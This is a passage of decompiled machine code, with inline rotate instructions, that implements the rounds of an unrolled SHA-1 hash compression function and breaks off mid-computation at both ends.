				 *(_t1849 + 0x40) = ( *(_t1849 + 0x68))[6] & 0xff00ff00 | ( *(_t1849 + 0x68))[6] & 0x00ff00ff;
				asm("rol ecx, 0x5");
				asm("ror ebp, 0x2");
				_t1710 = _t1709 + ((_t1664 ^ _t1099) & _t1815 ^ _t1664) + _t1466 + 0x5a827999 +  *(_t1849 + 0x40);
				asm("ror ecx, 0x8");
				asm("rol eax, 0x8");
				 *(_t1849 + 0x44) = ( *(_t1849 + 0x68))[7] & 0xff00ff00 | ( *(_t1849 + 0x68))[7] & 0x00ff00ff;
				asm("rol ecx, 0x5");
				asm("ror edx, 0x2");
				_t1665 = _t1664 + ((_t1099 ^ _t1815) & _t1466 ^ _t1099) + _t1710 + 0x5a827999 +  *(_t1849 + 0x44);
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				 *(_t1849 + 0x1c) = ( *(_t1849 + 0x68))[8] & 0xff00ff00 | ( *(_t1849 + 0x68))[8] & 0x00ff00ff;
				asm("rol ecx, 0x5");
				asm("ror esi, 0x2");
				_t1100 = _t1099 + ((_t1466 ^ _t1815) & _t1710 ^ _t1815) + _t1665 + 0x5a827999 +  *(_t1849 + 0x1c);
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				 *(_t1849 + 0x18) = ( *(_t1849 + 0x68))[9] & 0xff00ff00 | ( *(_t1849 + 0x68))[9] & 0x00ff00ff;
				asm("rol ecx, 0x5");
				asm("ror edi, 0x2");
				_t1816 = _t1815 + ((_t1466 ^ _t1710) & _t1665 ^ _t1466) + _t1100 + 0x5a827999 +  *(_t1849 + 0x18);
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				 *(_t1849 + 0x20) = ( *(_t1849 + 0x68))[0xa] & 0xff00ff00 | ( *(_t1849 + 0x68))[0xa] & 0x00ff00ff;
				asm("rol ecx, 0x5");
				asm("ror ebx, 0x2");
				_t1197 = _t1816 +  *(_t1849 + 0x20) + ((_t1710 ^ _t1665) & _t1100 ^ _t1710) + _t1466 + 0x5a827999;
				 *(_t1849 + 0x34) = _t1197;
				asm("rol ecx, 0x5");
				 *(_t1849 + 0x30) = _t1100;
				asm("ror edx, 0x8");
				asm("rol eax, 0x8");
				_t1470 = ( *(_t1849 + 0x68))[0xb] & 0xff00ff00 | ( *(_t1849 + 0x68))[0xb] & 0x00ff00ff;
				 *(_t1849 + 0x48) = _t1470;
				asm("ror ebp, 0x2");
				 *(_t1849 + 0x54) = _t1816;
				_t1473 = _t1470 + _t1197 + ((_t1665 ^ _t1100) & _t1816 ^ _t1665) + _t1710 + 0x5a827999;
				_t1712 =  *(_t1849 + 0x34);
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				 *(_t1849 + 0x24) = ( *(_t1849 + 0x68))[0xc] & 0xff00ff00 | ( *(_t1849 + 0x68))[0xc] & 0x00ff00ff;
				asm("rol ecx, 0x5");
				_t1103 = (_t1100 ^ (_t1100 ^ _t1816) & _t1712) + _t1473 +  *(_t1849 + 0x24) + _t1665 + 0x5a827999;
				asm("ror esi, 0x2");
				 *(_t1849 + 0x34) = _t1712;
				asm("rol ecx, 0x5");
				asm("rol eax, 0x8");
				asm("ror edi, 0x8");
				_t1669 = ( *(_t1849 + 0x68))[0xd] & 0xff00ff00 | ( *(_t1849 + 0x68))[0xd] & 0x00ff00ff;
				 *(_t1849 + 0x28) = _t1669;
				asm("ror edx, 0x2");
				 *(_t1849 + 0x58) = _t1473;
				_t1819 = (_t1816 ^ (_t1712 ^ _t1816) & _t1473) + _t1103 + _t1669 +  *(_t1849 + 0x30) + 0x5a827999;
				asm("rol ecx, 0x5");
				asm("rol eax, 0x8");
				asm("ror edi, 0x8");
				_t1672 = ( *(_t1849 + 0x68))[0xe] & 0xff00ff00 | ( *(_t1849 + 0x68))[0xe] & 0x00ff00ff;
				 *(_t1849 + 0x2c) = _t1672;
				asm("ror ebx, 0x2");
				 *(_t1849 + 0x54) = _t1103;
				_t1715 = (_t1712 ^ (_t1712 ^ _t1473) & _t1103) + _t1819 + _t1672 +  *(_t1849 + 0x54) + 0x5a827999;
				asm("ror edi, 0x8");
				asm("rol eax, 0x8");
				_t1675 = ( *(_t1849 + 0x68))[0xf] & 0xff00ff00 | ( *(_t1849 + 0x68))[0xf] & 0x00ff00ff;
				asm("rol ecx, 0x5");
				 *(_t1849 + 0x30) = _t1675;
				_t1678 = _t1675 + _t1715 + ((_t1473 ^ _t1103) & _t1819 ^ _t1473) +  *(_t1849 + 0x34) + 0x5a827999;
				_t1477 =  *(_t1849 + 0x38) ^  *(_t1849 + 0x4c) ^  *(_t1849 + 0x28) ^  *(_t1849 + 0x1c);
				asm("rol edx, 1");
				asm("rol ecx, 0x5");
				asm("ror ebp, 0x2");
				 *( *(_t1849 + 0x68)) = _t1477;
				_t1481 =  *(_t1849 + 0x14) ^  *(_t1849 + 0x50) ^  *(_t1849 + 0x2c) ^  *(_t1849 + 0x18);
				_t1106 = (_t1103 ^ (_t1103 ^ _t1819) & _t1715) + _t1678 + _t1477 +  *(_t1849 + 0x58) + 0x5a827999;
				asm("rol edx, 1");
				asm("ror esi, 0x2");
				asm("rol ecx, 0x5");
				( *(_t1849 + 0x68))[1] = _t1481;
				_t1485 =  *(_t1849 + 0x10) ^  *(_t1849 + 0x38) ^  *(_t1849 + 0x30) ^  *(_t1849 + 0x20);
				 *(_t1849 + 0x34) = _t1819;
				asm("rol edx, 1");
				_t1822 = (_t1819 ^ (_t1819 ^ _t1715) & _t1678) + _t1106 + _t1481 +  *(_t1849 + 0x54) + 0x5a827999;
				asm("ror edi, 0x2");
				( *(_t1849 + 0x68))[2] = _t1485;
				asm("rol ecx, 0x5");
				asm("ror ebx, 0x2");
				_t1488 = _t1485 + _t1822 + ((_t1678 ^ _t1715) & _t1106 ^ _t1715) +  *(_t1849 + 0x34) + 0x5a827999;
				_t1225 =  *(_t1849 + 0x68);
				_t795 =  *(_t1849 + 0x14) ^  *_t1225 ^  *(_t1849 + 0x48) ^  *(_t1849 + 0x3c);
				asm("rol eax, 1");
				_t1225[3] = _t795;
				 *(_t1849 + 0x14) = _t795;
				asm("rol ecx, 0x5");
				asm("ror ebp, 0x2");
				_t1229 =  *(_t1849 + 0x68);
				_t1716 = _t1715 + ((_t1678 ^ _t1106) & _t1822 ^ _t1678) + _t1488 + 0x5a827999 +  *(_t1849 + 0x14);
				_t804 =  *(_t1849 + 0x10) ^ _t1229[1] ^  *(_t1849 + 0x24) ^  *(_t1849 + 0x40);
				asm("rol eax, 1");
				_t1229[4] = _t804;
				 *(_t1849 + 0x10) = _t804;
				asm("rol ecx, 0x5");
				asm("ror edx, 0x2");
				_t1679 = _t1678 + (_t1106 ^ _t1822 ^ _t1488) + _t1716 + 0x6ed9eba1 +  *(_t1849 + 0x10);
				 *(_t1849 + 0x38) = _t1488;
				_t809 =  *(_t1849 + 0x68);
				asm("rol ecx, 0x5");
				_t1492 = _t809[2] ^  *(_t1849 + 0x28) ^  *(_t1849 + 0x44) ^  *(_t1849 + 0x3c);
				asm("rol edx, 1");
				_t809[5] = _t1492;
				asm("ror esi, 0x2");
				_t1235 =  *(_t1849 + 0x68);
				_t1107 = _t1106 + (_t1822 ^  *(_t1849 + 0x38) ^ _t1716) + _t1679 + _t1492 + 0x6ed9eba1;
				_t814 = _t1235[3];
				_t1497 = _t814 ^  *(_t1849 + 0x2c) ^  *(_t1849 + 0x1c) ^  *(_t1849 + 0x40);
				asm("rol edx, 1");
				_t1235[6] = _t1497;
				 *(_t1849 + 0x14) = _t814;
				asm("rol ecx, 0x5");
				asm("ror edi, 0x2");
				_t1238 =  *(_t1849 + 0x68);
				_t1823 = _t1822 + (_t1679 ^  *(_t1849 + 0x38) ^ _t1716) + _t1107 + _t1497 + 0x6ed9eba1;
				_t819 = _t1238[4];
				_t1502 = _t819 ^  *(_t1849 + 0x30) ^  *(_t1849 + 0x18) ^  *(_t1849 + 0x44);
				asm("rol edx, 1");
				 *(_t1849 + 0x10) = _t819;
				_t1238[7] = _t1502;
				asm("rol ecx, 0x5");
				asm("ror ebx, 0x2");
				_t1243 =  *(_t1849 + 0x38) + 0x6ed9eba1 + (_t1679 ^ _t1107 ^ _t1716) + _t1823 + _t1502;
				_t824 =  *(_t1849 + 0x68);
				 *(_t1849 + 0x58) = _t1243;
				asm("rol ecx, 0x5");
				_t1506 =  *_t824 ^  *(_t1849 + 0x20) ^  *(_t1849 + 0x1c) ^ _t824[5];
				asm("rol edx, 1");
				_t824[8] = _t1506;
				asm("ror ebp, 0x2");
				_t828 =  *(_t1849 + 0x68);
				_t1246 = _t1243 + _t1506 + (_t1679 ^ _t1107 ^ _t1823) + _t1716 + 0x6ed9eba1;
				_t1718 =  *(_t1849 + 0x58);
				 *(_t1849 + 0x54) = _t1246;
				asm("rol ecx, 0x5");
				_t1510 = _t828[1] ^  *(_t1849 + 0x48) ^  *(_t1849 + 0x18) ^ _t828[6];
				asm("rol edx, 1");
				_t828[9] = _t1510;
				asm("ror esi, 0x2");
				_t832 =  *(_t1849 + 0x68);
				_t1249 = _t1246 + _t1510 + (_t1107 ^ _t1823 ^ _t1718) + _t1679 + 0x6ed9eba1;
				_t1681 =  *(_t1849 + 0x54);
				 *(_t1849 + 0x58) = _t1249;
				asm("rol ecx, 0x5");
				_t1514 = _t832[2] ^  *(_t1849 + 0x24) ^  *(_t1849 + 0x20) ^ _t832[7];
				asm("rol edx, 1");
				_t832[0xa] = _t1514;
				asm("ror edi, 0x2");
				_t836 =  *(_t1849 + 0x68);
				_t1252 = _t1249 + _t1514 + (_t1823 ^ _t1718 ^ _t1681) + _t1107 + 0x6ed9eba1;
				_t1109 =  *(_t1849 + 0x58);
				 *(_t1849 + 0x54) = _t1252;
				asm("rol ecx, 0x5");
				_t1518 =  *(_t1849 + 0x14) ^  *(_t1849 + 0x28) ^  *(_t1849 + 0x48) ^ _t836[8];
				asm("rol edx, 1");
				_t836[0xb] = _t1518;
				asm("ror ebx, 0x2");
				_t172 = _t1823 + 0x6ed9eba1; // 0x14577208
				_t1255 = _t172 + (_t1109 ^ _t1718 ^ _t1681) + _t1252 + _t1518;
				_t841 =  *(_t1849 + 0x68);
				 *(_t1849 + 0x58) = _t1255;
				_t1522 =  *(_t1849 + 0x10) ^  *(_t1849 + 0x2c) ^  *(_t1849 + 0x24) ^ _t841[9];
				_t1824 =  *(_t1849 + 0x54);
				asm("rol edx, 1");
				_t841[0xc] = _t1522;
				asm("rol ecx, 0x5");
				asm("ror ebp, 0x2");
				_t845 =  *(_t1849 + 0x68);
				_t1258 = _t1255 + _t1522 + (_t1109 ^ _t1824 ^ _t1681) + _t1718 + 0x6ed9eba1;
				_t1720 =  *(_t1849 + 0x58);
				 *(_t1849 + 0x54) = _t1258;
				asm("rol ecx, 0x5");
				_t1526 =  *(_t1849 + 0x30) ^  *(_t1849 + 0x28) ^ _t845[0xa] ^ _t845[5];
				asm("rol edx, 1");
				_t845[0xd] = _t1526;
				asm("ror esi, 0x2");
				_t849 =  *(_t1849 + 0x68);
				_t1261 = _t1258 + _t1526 + (_t1109 ^ _t1824 ^ _t1720) + _t1681 + 0x6ed9eba1;
				_t1683 =  *(_t1849 + 0x54);
				 *(_t1849 + 0x58) = _t1261;
				asm("rol ecx, 0x5");
				_t1530 =  *_t849 ^  *(_t1849 + 0x2c) ^ _t849[0xb] ^ _t849[6];
				asm("rol edx, 1");
				_t849[0xe] = _t1530;
				asm("ror edi, 0x2");
				_t853 =  *(_t1849 + 0x68);
				_t1264 = _t1261 + _t1530 + (_t1824 ^ _t1720 ^ _t1683) + _t1109 + 0x6ed9eba1;
				_t1111 =  *(_t1849 + 0x58);
				 *(_t1849 + 0x54) = _t1264;
				asm("rol ecx, 0x5");
				_t1534 = _t853[1] ^  *(_t1849 + 0x30) ^ _t853[0xc] ^ _t853[7];
				asm("rol edx, 1");
				_t853[0xf] = _t1534;
				asm("ror ebx, 0x2");
				_t1825 =  *(_t1849 + 0x54);
				_t1267 = _t1824 + 0x6ed9eba1 + (_t1720 ^ _t1683 ^ _t1111) + _t1264 + _t1534;
				_t858 =  *(_t1849 + 0x68);
				 *(_t1849 + 0x58) = _t1267;
				asm("rol ecx, 0x5");
				_t1538 = _t858[2] ^  *_t858 ^ _t858[0xd] ^ _t858[8];
				asm("rol edx, 1");
				 *_t858 = _t1538;
				_t862 =  *(_t1849 + 0x68);
				_t1270 = _t1267 + _t1538 + (_t1825 ^ _t1683 ^ _t1111) + _t1720 + 0x6ed9eba1;
				_t1722 =  *(_t1849 + 0x58);
				 *(_t1849 + 0x54) = _t1270;
				_t1542 =  *(_t1849 + 0x14) ^ _t862[1] ^ _t862[0xe] ^ _t862[9];
				asm("rol edx, 1");
				_t862[1] = _t1542;
				asm("rol ecx, 0x5");
				asm("ror ebp, 0x2");
				asm("ror esi, 0x2");
				_t866 =  *(_t1849 + 0x68);
				_t1273 = _t1270 + _t1542 + (_t1825 ^ _t1722 ^ _t1111) + _t1683 + 0x6ed9eba1;
				_t1685 =  *(_t1849 + 0x54);
				 *(_t1849 + 0x58) = _t1273;
				asm("rol ecx, 0x5");
				_t1546 =  *(_t1849 + 0x10) ^ _t866[2] ^ _t866[0xf] ^ _t866[0xa];
				asm("rol edx, 1");
				_t866[2] = _t1546;
				_t1274 =  *(_t1849 + 0x68);
				asm("ror edi, 0x2");
				_t1549 = _t1273 + _t1546 + (_t1825 ^ _t1722 ^ _t1685) + _t1111 + 0x6ed9eba1;
				_t873 =  *(_t1849 + 0x14) ^  *_t1274 ^ _t1274[0xb] ^ _t1274[5];
				_t1113 =  *(_t1849 + 0x58);
				asm("rol eax, 1");
				_t1274[3] = _t873;
				 *(_t1849 + 0x14) = _t873;
				asm("rol ecx, 0x5");
				asm("ror ebx, 0x2");
				_t1277 =  *(_t1849 + 0x68);
				_t1827 = _t1825 + 0x6ed9eba1 + (_t1722 ^ _t1685 ^ _t1113) + _t1549 +  *(_t1849 + 0x14);
				_t881 =  *(_t1849 + 0x10) ^ _t1277[1] ^ _t1277[0xc] ^ _t1277[6];
				asm("rol eax, 1");
				_t1277[4] = _t881;
				 *(_t1849 + 0x10) = _t881;
				asm("rol ecx, 0x5");
				asm("ror edx, 0x2");
				_t885 =  *(_t1849 + 0x68);
				_t1281 = _t1827 +  *(_t1849 + 0x10) + (_t1685 ^ _t1113 ^ _t1549) + _t1722 + 0x6ed9eba1;
				 *(_t1849 + 0x58) = _t1549;
				 *(_t1849 + 0x54) = _t1281;
				_t1553 = _t885[2] ^ _t885[0xd] ^ _t885[7] ^ _t885[5];
				_t1724 =  *(_t1849 + 0x58);
				asm("rol edx, 1");
				_t885[5] = _t1553;
				asm("rol ecx, 0x5");
				asm("ror ebp, 0x2");
				_t1284 = _t1281 + _t1553 + (_t1827 ^ _t1113 ^ _t1724) + _t1685 + 0x6ed9eba1;
				_t1687 =  *(_t1849 + 0x68);
				 *(_t1849 + 0x58) = _t1284;
				asm("rol ecx, 0x5");
				_t889 = _t1687[3];
				_t1557 = _t889 ^ _t1687[0xe] ^ _t1687[8] ^ _t1687[6];
				 *(_t1849 + 0x14) = _t889;
				asm("rol edx, 1");
				_t1687[6] = _t1557;
				_t1688 =  *(_t1849 + 0x54);
				asm("ror edi, 0x2");
				_t894 = (_t1827 ^ _t1688 ^ _t1724) + _t1284 + _t1557 + _t1113 + 0x6ed9eba1;
				_t1115 =  *(_t1849 + 0x68);
				 *(_t1849 + 0x48) = _t894;
				_t1286 = _t1115[4];
				_t1561 = _t1286 ^ _t1115[0xf] ^ _t1115[9] ^ _t1115[7];
				 *(_t1849 + 0x3c) = _t1286;
				asm("rol ecx, 0x5");
				asm("rol edx, 1");
				_t1115[7] = _t1561;
				_t1116 =  *(_t1849 + 0x58);
				asm("ror ebx, 0x2");
				_t1289 =  *(_t1849 + 0x68);
				_t899 = (_t1827 ^ _t1688 ^ _t1116) + _t894 + _t1561 + _t1724 + 0x6ed9eba1;
				 *(_t1849 + 0x44) = _t899;
				asm("rol edx, 0x5");
				_t1729 =  *_t1289 ^ _t1289[0xa] ^ _t1289[8] ^ _t1289[5];
				asm("rol esi, 1");
				_t1289[8] = _t1729;
				_t1828 =  *(_t1849 + 0x48);
				_t903 = _t899 - 0x70e44324 + ((_t1116 |  *(_t1849 + 0x48)) & _t1688 | _t1116 &  *(_t1849 + 0x48)) + _t1729 + _t1827;
				asm("ror ebp, 0x2");
				_t1296 =  *(_t1849 + 0x68);
				 *(_t1849 + 0x50) = _t903;
				_t1733 = _t1296[1] ^ _t1296[0xb] ^ _t1296[9] ^ _t1296[6];
				asm("rol esi, 1");
				_t1296[9] = _t1733;
				asm("rol edx, 0x5");
				_t1689 =  *(_t1849 + 0x44);
				asm("ror edi, 0x2");
				_t907 = _t903 - 0x70e44324 + ((_t1828 |  *(_t1849 + 0x44)) & _t1116 | _t1828 &  *(_t1849 + 0x44)) + _t1733 + _t1688;
				_t1303 =  *(_t1849 + 0x68);
				 *(_t1849 + 0x48) = _t907;
				asm("rol edx, 0x5");
				_t1737 = _t1303[2] ^ _t1303[0xc] ^ _t1303[0xa] ^ _t1303[7];
				asm("rol esi, 1");
				_t1303[0xa] = _t1737;
				_t1117 =  *(_t1849 + 0x50);
				_t911 = _t907 - 0x70e44324 + (( *(_t1849 + 0x50) | _t1689) & _t1828 |  *(_t1849 + 0x50) & _t1689) + _t1737 + _t1116;
				asm("ror ebx, 0x2");
				_t1310 =  *(_t1849 + 0x68);
				 *(_t1849 + 0x44) = _t911;
				asm("rol edx, 0x5");
				_t1741 =  *(_t1849 + 0x14) ^ _t1310[0xd] ^ _t1310[0xb] ^ _t1310[8];
				asm("rol esi, 1");
				_t1310[0xb] = _t1741;
				_t1829 =  *(_t1849 + 0x48);
				_t915 = _t911 - 0x70e44324 + ((_t1117 |  *(_t1849 + 0x48)) & _t1689 | _t1117 &  *(_t1849 + 0x48)) + _t1741 + _t1828;
				asm("ror ebp, 0x2");
				_t1317 =  *(_t1849 + 0x68);
				 *(_t1849 + 0x40) = _t915;
				asm("rol edx, 0x5");
				_t1745 =  *(_t1849 + 0x3c) ^ _t1317[0xe] ^ _t1317[0xc] ^ _t1317[9];
				asm("rol esi, 1");
				_t1317[0xc] = _t1745;
				_t919 = _t915 - 0x70e44324 + ((_t1829 |  *(_t1849 + 0x44)) & _t1117 | _t1829 &  *(_t1849 + 0x44)) + _t1745 + _t1689;
				_t1690 =  *(_t1849 + 0x44);
				_t1324 =  *(_t1849 + 0x68);
				 *(_t1849 + 0x48) = _t919;
				asm("ror edi, 0x2");
				asm("rol edx, 0x5");
				_t1749 = _t1324[0xf] ^ _t1324[0xd] ^ _t1324[0xa] ^ _t1324[5];
				asm("rol esi, 1");
				_t1324[0xd] = _t1749;
				_t1118 =  *(_t1849 + 0x40);
				_t923 = _t919 - 0x70e44324 + ((_t1690 |  *(_t1849 + 0x40)) & _t1829 | _t1690 &  *(_t1849 + 0x40)) + _t1749 + _t1117;
				asm("ror ebx, 0x2");
				_t1331 =  *(_t1849 + 0x68);
				 *(_t1849 + 0x50) = _t923;
				asm("rol edx, 0x5");
				_t1753 =  *_t1331 ^ _t1331[0xe] ^ _t1331[0xb] ^ _t1331[6];
				asm("rol esi, 1");
				_t1331[0xe] = _t1753;
				_t1830 =  *(_t1849 + 0x48);
				_t927 = _t923 - 0x70e44324 + ((_t1118 |  *(_t1849 + 0x48)) & _t1690 | _t1118 &  *(_t1849 + 0x48)) + _t1753 + _t1829;
				asm("ror ebp, 0x2");
				_t1338 =  *(_t1849 + 0x68);
				 *(_t1849 + 0x44) = _t927;
				asm("rol edx, 0x5");
				_t1757 = _t1338[1] ^ _t1338[0xf] ^ _t1338[0xc] ^ _t1338[7];
				asm("rol esi, 1");
				_t1338[0xf] = _t1757;
				_t1691 =  *(_t1849 + 0x50);
				_t931 = _t927 - 0x70e44324 + (( *(_t1849 + 0x50) | _t1830) & _t1118 |  *(_t1849 + 0x50) & _t1830) + _t1757 + _t1690;
				asm("ror edi, 0x2");
				_t1345 =  *(_t1849 + 0x68);
				asm("rol edx, 0x5");
				 *(_t1849 + 0x48) = _t931;
				_t1761 = _t1345[2] ^  *_t1345 ^ _t1345[0xd] ^ _t1345[8];
				asm("rol esi, 1");
				 *_t1345 = _t1761;
				_t1119 =  *(_t1849 + 0x44);
				_t935 = _t931 - 0x70e44324 + ((_t1691 |  *(_t1849 + 0x44)) & _t1830 | _t1691 &  *(_t1849 + 0x44)) + _t1761 + _t1118;
				asm("ror ebx, 0x2");
				_t1352 =  *(_t1849 + 0x68);
				 *(_t1849 + 0x40) = _t935;
				asm("rol edx, 0x5");
				_t1765 =  *(_t1849 + 0x14) ^ _t1352[1] ^ _t1352[0xe] ^ _t1352[9];
				asm("rol esi, 1");
				_t1352[1] = _t1765;
				_t1831 =  *(_t1849 + 0x48);
				_t939 = _t935 - 0x70e44324 + ((_t1119 |  *(_t1849 + 0x48)) & _t1691 | _t1119 &  *(_t1849 + 0x48)) + _t1765 + _t1830;
				asm("ror ebp, 0x2");
				_t1359 =  *(_t1849 + 0x68);
				 *(_t1849 + 0x50) = _t939;
				asm("rol edx, 0x5");
				_t1769 =  *(_t1849 + 0x3c) ^ _t1359[2] ^ _t1359[0xf] ^ _t1359[0xa];
				asm("rol esi, 1");
				_t1359[2] = _t1769;
				_t1573 =  *(_t1849 + 0x68);
				_t1692 =  *(_t1849 + 0x40);
				_t943 = _t939 - 0x70e44324 + ((_t1831 |  *(_t1849 + 0x40)) & _t1119 | _t1831 &  *(_t1849 + 0x40)) + _t1769 + _t1691;
				_t1369 =  *(_t1849 + 0x14) ^  *_t1573 ^ _t1573[0xb] ^ _t1573[5];
				asm("rol ecx, 1");
				_t1573[3] = _t1369;
				 *(_t1849 + 0x14) = _t1369;
				asm("ror edi, 0x2");
				 *(_t1849 + 0x4c) = _t943;
				asm("rol edx, 0x5");
				_t1120 =  *(_t1849 + 0x50);
				asm("ror ebx, 0x2");
				_t947 = _t943 - 0x70e44324 + ((_t1692 |  *(_t1849 + 0x50)) & _t1831 | _t1692 &  *(_t1849 + 0x50)) +  *(_t1849 + 0x14) + _t1119;
				_t1376 =  *(_t1849 + 0x68);
				 *(_t1849 + 0x48) = _t947;
				_t1773 =  *(_t1849 + 0x3c) ^ _t1376[1] ^ _t1376[0xc] ^ _t1376[6];
				asm("rol esi, 1");
				_t1376[4] = _t1773;
				asm("rol edx, 0x5");
				_t1380 =  *(_t1849 + 0x68);
				_t1833 =  *(_t1849 + 0x4c);
				_t953 = ( *(_t1849 + 0x4c) & _t1120 | ( *(_t1849 + 0x4c) | _t1120) & _t1692) + _t1773 + _t1831 + 0x8f1bbcdc + _t947;
				asm("ror ebp, 0x2");
				_t1777 = _t1380[2] ^ _t1380[0xd] ^ _t1380[7] ^ _t1380[5];
				asm("rol esi, 1");
				_t1380[5] = _t1777;
				 *(_t1849 + 0x44) = _t953;
				asm("rol edx, 0x5");
				_t1577 =  *(_t1849 + 0x68);
				_t957 = _t953 - 0x70e44324 + ((_t1833 |  *(_t1849 + 0x48)) & _t1120 | _t1833 &  *(_t1849 + 0x48)) + _t1777 + _t1692;
				_t1693 =  *(_t1849 + 0x48);
				 *(_t1849 + 0x14) = _t957;
				asm("ror edi, 0x2");
				_t1387 = _t1577[3];
				_t1781 = _t1387 ^ _t1577[0xe] ^ _t1577[8] ^ _t1577[6];
				 *(_t1849 + 0x18) = _t1387;
				asm("rol esi, 1");
				_t1577[6] = _t1781;
				asm("rol edx, 0x5");
				_t1579 =  *(_t1849 + 0x68);
				_t961 = _t957 - 0x70e44324 + ((_t1693 |  *(_t1849 + 0x44)) & _t1833 | _t1693 &  *(_t1849 + 0x44)) + _t1781 + _t1120;
				_t1121 =  *(_t1849 + 0x44);
				asm("ror ebx, 0x2");
				 *(_t1849 + 0x10) = _t961;
				_t1394 = _t1579[4];
				_t1785 = _t1394 ^ _t1579[0xf] ^ _t1579[9] ^ _t1579[7];
				 *(_t1849 + 0x1c) = _t1394;
				asm("rol esi, 1");
				_t1579[7] = _t1785;
				asm("rol edx, 0x5");
				_t964 =  *(_t1849 + 0x14);
				asm("ror eax, 0x2");
				 *(_t1849 + 0x14) = _t964;
				_t1835 = _t961 - 0x70e44324 + ((_t1121 |  *(_t1849 + 0x14)) & _t1693 | _t1121 &  *(_t1849 + 0x14)) + _t1785 + _t1833;
				_t1401 =  *(_t1849 + 0x68);
				asm("rol edx, 0x5");
				_t1789 =  *_t1401 ^ _t1401[0xa] ^ _t1401[8] ^ _t1401[5];
				asm("rol esi, 1");
				_t1401[8] = _t1789;
				_t966 =  *(_t1849 + 0x10);
				asm("ror eax, 0x2");
				 *(_t1849 + 0x10) = _t966;
				_t1695 = _t1835 - 0x70e44324 + ((_t964 |  *(_t1849 + 0x10)) & _t1121 | _t964 &  *(_t1849 + 0x10)) + _t1789 + _t1693;
				_t1408 =  *(_t1849 + 0x68);
				asm("rol edx, 0x5");
				_t1793 = _t1408[1] ^ _t1408[0xb] ^ _t1408[9] ^ _t1408[6];
				asm("rol esi, 1");
				_t1408[9] = _t1793;
				asm("ror ebp, 0x2");
				_t969 =  *(_t1849 + 0x68);
				 *(_t1849 + 0x50) = _t1835;
				_t1123 = _t1695 - 0x70e44324 + ((_t1835 | _t966) &  *(_t1849 + 0x14) | _t1835 &  *(_t1849 + 0x10)) + _t1793 + _t1121;
				_t1797 = _t969[2] ^ _t969[0xc] ^ _t969[0xa] ^ _t969[7];
				asm("rol esi, 1");
				_t969[0xa] = _t1797;
				_t1801 =  *(_t1849 + 0x18) ^ _t969[0xd] ^ _t969[0xb] ^ _t969[8];
				asm("rol edx, 0x5");
				asm("ror edi, 0x2");
				asm("rol esi, 1");
				 *(_t1849 + 0x58) = _t1695;
				_t969[0xb] = _t1801;
				_t1838 = _t1123 - 0x70e44324 + ((_t1835 | _t1695) &  *(_t1849 + 0x10) | _t1835 & _t1695) + _t1797 +  *(_t1849 + 0x14);
				asm("rol edx, 0x5");
				asm("ror ebx, 0x2");
				 *(_t1849 + 0x54) = _t1123;
				_t972 =  *(_t1849 + 0x68);
				_t1803 = _t1838 - 0x70e44324 + ((_t1695 | _t1123) &  *(_t1849 + 0x50) | _t1695 & _t1123) + _t1801 +  *(_t1849 + 0x10);
				_t1588 =  *(_t1849 + 0x1c) ^ _t972[0xe] ^ _t972[0xc] ^ _t972[9];
				asm("rol edx, 1");
				_t972[0xc] = _t1588;
				asm("rol ecx, 0x5");
				asm("ror ebp, 0x2");
				 *(_t1849 + 0x50) = _t1838;
				_t1428 =  *(_t1849 + 0x68);
				_t1697 = _t1803 - 0x359d3e2a + (_t1695 ^ _t1123 ^ _t1838) + _t1588 +  *(_t1849 + 0x50);
				_t978 = _t1428[0xa];
				_t1592 = _t1428[0xf] ^ _t1428[0xd] ^ _t978 ^ _t1428[5];
				asm("rol edx, 1");
				_t1428[0xd] = _t1592;
				 *(_t1849 + 0x44) = _t978;
				asm("rol ecx, 0x5");
				asm("ror esi, 0x2");
				_t1430 =  *(_t1849 + 0x68);
				_t1125 = _t1697 - 0x359d3e2a + (_t1123 ^ _t1838 ^ _t1803) + _t1592 +  *(_t1849 + 0x58);
				_t984 = _t1430[0xb];
				_t1596 =  *_t1430 ^ _t1430[0xe] ^ _t984 ^ _t1430[6];
				asm("rol edx, 1");
				_t1430[0xe] = _t1596;
				 *(_t1849 + 0x40) = _t984;
				asm("rol ecx, 0x5");
				asm("ror edi, 0x2");
				_t1432 =  *(_t1849 + 0x68);
				_t1840 = _t1125 - 0x359d3e2a + (_t1697 ^ _t1838 ^ _t1803) + _t1596 +  *(_t1849 + 0x54);
				_t990 = _t1432[0xc];
				_t1600 = _t1432[1] ^ _t1432[0xf] ^ _t990 ^ _t1432[7];
				 *(_t1849 + 0x4c) = _t990;
				asm("rol edx, 1");
				_t1432[0xf] = _t1600;
				asm("rol ecx, 0x5");
				_t1602 =  *(_t1849 + 0x68);
				 *(_t1849 + 0x50) = _t1840 + (_t1697 ^ _t1125 ^ _t1803) + _t1600 + 0xca62c1d6 +  *(_t1849 + 0x50);
				_t1435 =  *(_t1849 + 0x68);
				asm("ror ebx, 0x2");
				_t996 = _t1602[0xd];
				 *(_t1849 + 0x48) = _t996;
				_t997 = _t1435;
				asm("rol ecx, 0x5");
				_t1606 = _t1602[2] ^  *_t1435 ^ _t996 ^ _t997[8];
				asm("rol edx, 1");
				 *_t997 = _t1606;
				asm("ror ebp, 0x2");
				_t1804 =  *(_t1849 + 0x50);
				_t1438 =  *(_t1849 + 0x50) + 0xca62c1d6 + (_t1697 ^ _t1125 ^ _t1840) + _t1606 + _t1803;
				_t1003 =  *(_t1849 + 0x68);
				 *(_t1849 + 0x58) = _t1438;
				asm("rol ecx, 0x5");
				_t1610 =  *(_t1849 + 0x18) ^ _t1003[1] ^ _t1003[0xe] ^ _t1003[9];
				asm("rol edx, 1");
				_t1003[1] = _t1610;
				asm("ror esi, 0x2");
				_t1699 =  *(_t1849 + 0x58);
				_t1439 = _t1438 + (_t1125 ^ _t1840 ^ _t1804) + _t1610 + _t1697 + 0xca62c1d6;
				_t1009 =  *(_t1849 + 0x68);
				 *(_t1849 + 0x54) = _t1439;
				asm("rol ecx, 0x5");
				_t1614 =  *(_t1849 + 0x1c) ^ _t1009[2] ^ _t1009[0xf] ^ _t1009[0xa];
				asm("rol edx, 1");
				_t1009[2] = _t1614;
				asm("ror edi, 0x2");
				_t1440 =  *(_t1849 + 0x68);
				_t1126 =  *(_t1849 + 0x54);
				_t1616 = _t1439 - 0x359d3e2a + (_t1840 ^ _t1804 ^ _t1699) + _t1614 + _t1125;
				_t1018 =  *(_t1849 + 0x18) ^  *_t1440 ^ _t1440[0xb] ^ _t1440[5];
